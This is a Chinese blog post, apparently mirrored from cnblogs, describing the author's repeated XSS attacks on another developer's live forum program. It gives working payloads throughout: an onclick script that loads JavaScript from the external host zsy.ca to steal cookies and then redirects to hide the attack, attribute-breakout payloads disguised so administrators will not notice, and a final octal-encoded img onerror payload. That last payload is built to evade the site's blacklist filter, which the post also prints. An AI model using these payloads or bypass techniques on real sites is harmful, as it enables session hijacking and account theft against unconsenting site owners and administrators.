zoukankan      html  css  js  c++  java
  • 一次有趣的XSS漏洞挖掘分析(3)最终篇

    这真是最后一次了。真的再不逗这个程序员了。和预期一样,勤奋的程序员今天又更新程序了。因为前面写的payload都有一个致命的弱点,就是document.write()会完全破坏DOM结构。而且再“完事儿”之后,还不会跳转到本应该跳转的页面。所以还是那么容易就被发现了。(也包括我犯贱老找别人网站做测试)
    反思

    昨天在去便利店买烟的时候,发现了自己犯的一个错误。就当是纠正一下前面的2篇吧。当我们的JS是在script标签内的时候,像这样:

    <script>document.write(123)</script>

    我们是需要规规矩矩的写上这个document的。但是在事件也就是所谓的on*属性当中,调用write方法时,实际上是不许要写document的。所以我们可以直接这样:

    <p onmouseover=write(123)>

    这样一来,也就不用去关心document是否被过滤了。也就没有前面那么些个问题了。不过过去的事儿就过去了。让我们谈谈接下来的事儿。
    针对于插入后不能跳转和破坏页面结构的问题,我最终作出了这样的一个决定:

    <p onclick="head.appendChild(createElement('163cript')).src='//zsy.ca/33';setTimeout(/location.href='view.php?id=147'/.source,2000)">0</p>

    试着创建子节点,而放弃蛮力的write().然后为了给自己的js一点时间避免把取cookie的事儿给耽误了我就再次用上了setTimeout().让它插入js的2秒后再跳转到这个标题所属的内容页。不过这个问题可能是我多虑了,也可能会出现瞬间就跳过去取不到cookie的情况吧。
      然而在这次测试期间,我又发现了一个新的输出点。就是我们提交的标题会在内容页输出到一个input里面,像这样:

    <input id=title value="输出">

    尴尬的是,他这个点对"<"和">"做了html编码,却把双引号给忘了。所以我们只要在标题出写上:

    <p " onfocus=alert(1) autofocus >求助</p>

    这里写到标签内是为了防止测漏。不然别人一看就看出来这玩意儿不对劲儿了。管理员打开内容页以后就中招了。虽然在显示帖子标题的页面当中我们没有测漏,但是在内容页,因为我们的这么一插,有类似于 size="xx"> 之类的给露出来了.又不能开启新的标签(因为被"<",">"编码过了)怎么办呢?想了想html也可以用单引号,比如说:

    <img src='x' onerror='alert(1)'>

    也是可以的。那么我们就可以在标题处写上:

    <p " onfocus=alert(1) autofocus close='>求助</p>
     

    再在内容里写上:

       '<p>帮帮我吧!

    我们就机智的把测漏给拦住了。
      不过经过我这么一折腾,这程序有问题的事儿,又给闹穿帮了(都不容易啊)。这次不一样的是我拿到补丁了。让我们看看他的过滤代码是怎么写的吧:

    function checkscript(intostr) 
    
    02.intostr=Replace(Replace(Replace(Replace(Replace(Replace(Replace(Replace(Replace(Replace(Replace(LCase(intostr),"<br",""),"<p>",""),"</p>",""),"<font",""),"</font>",""),"strong",""),"<>",""),"</>",""),"<td",""),"<tr",""),"<tab","")
    
    03.intostr=Replace(Replace(Replace(Replace(Replace(Replace(Replace(Replace(Replace(Replace(intostr,"</td",""),"</tr",""),"</tab",""),"<img ",""),"<u",""),"</u>",""),"<a ",""),"</a",""),"<b>",""),"</b>","")
    
    04.intostr=Replace(Replace(intostr,"<li>",""),"</li","")
    
    05.intostr=Replace(Replace(intostr,"<span",""),"</span","")
    
    06.intostr=Replace(Replace(intostr,"<p ",""),"</p>","")
    
    07.intostr=Replace(Replace(intostr,"< ","<"),"<class","")
    
    08.intostr=Replace(Replace(intostr,"<tbody",""),"<div","")
    
    09.intostr=Replace(Replace(intostr,"</div>",""),"</tbody","")
    
    10.If InStr(intostr," on") Or InStr(intostr,"<") Or InStr(intostr,"scr") Or InStr(intostr,"u") or InStr(intostr,"%3c") Or InStr(intostr,"&#") Or InStr(intostr,"char") Or InStr(intostr,"eval")  Or InStr(intostr,"docum") Or InStr(intostr,"exec") Or InStr(intostr,"declare") Or InStr(intostr,"onmou") Or InStr(intostr,"oncl")  Or InStr(Replace(intostr," ",""),"+'") Or InStr(Replace(intostr," ",""),"'+")  Or InStr(intostr,"'&lt;") Or InStr(intostr,"""on") Or InStr(intostr,"x") Or InStr(intostr,"autofo") Or InStr(intostr,"d.app") Or InStr(intostr,").src") Or InStr(intostr,"var ") Or InStr(intostr,"+=")  Or InStr(intostr,"//") Then
    
    11.checkscript=True
    
    12.'response.write intostr
    
    13.'response.end
    
    14.Else
    
    15.checkscript=false
    
    16.End if
    
    17.end Function

    基本上和我黑盒测试的结果是没有什么偏差的。当然从新的修补方案中不难看出,是真的被我搞穿帮了( )。看到100个replace我就对阅读这段代码没有什么兴趣了。简单做了下测试发现。这次终于对标题处做了htmlencode处理。也就是说不能再完了。那么作为富文本最基本的功能发图,还能用么?简单的插了个

    test<img>

    发现插进去后,变成了:

    test<img src="">

    搞到这儿有两个问题。发现" on"会被拦截。但是和前面提到的一样空格有很多替代品。具体的,可以看下下面的fuzz结果:

    2013-12-26 23:41:08的屏幕截图.png

    用哪个看你喜欢了,不过应该注意的是斜杠只能用来分割标签名和属性。是不能用来分割多个属性的。然后他又先后通过过滤"&#","u","x"过滤了4种编码。但是又测漏一个octal.把在子节点上创建script并指定src的部分用octal编一下码,再把空格替换成[0x0c].最后为了防止图片的小框框会泄漏我们的霸气。再一次通过style来设定一下不显示图片。就有了下面的payload:

    <img src=x [0x0c]onerror=setTimeout('144157143165155145156164561501451411445614116016014515614410315015115414450144157143165155145156164561431621451411641451051541451551451561645047163143162151160164475151561631621437547575717216317156143141576247',0) [0x0c]style=display:none>

    搞到这儿,和这套程序的斗争就算是告一段落了。thx for reading!

    补充内容 (2013-12-27 12:18):
    写急了
    把<p " onfocus=alert(1) autofocus close='>求助</p>改成:
    求助<p " onfocus=alert(1) autofocus close='></p>就对了
    sry

  • 相关阅读:
    【大胃王】2013暴食女王巅峰战(安吉拉x三宅x正司x木下)熟肉+高能
    破解 CrackMe#1 [UBC] by bRaINbuSY
    栈实现符号平衡检测
    简单的栈
    数独算法
    win32绘图基础
    Win32基础知识整理
    Win32最简单的程序
    初学layer
    android 虚线
  • 原文地址:https://www.cnblogs.com/hookjoy/p/3503857.html
Copyright © 2011-2022 走看看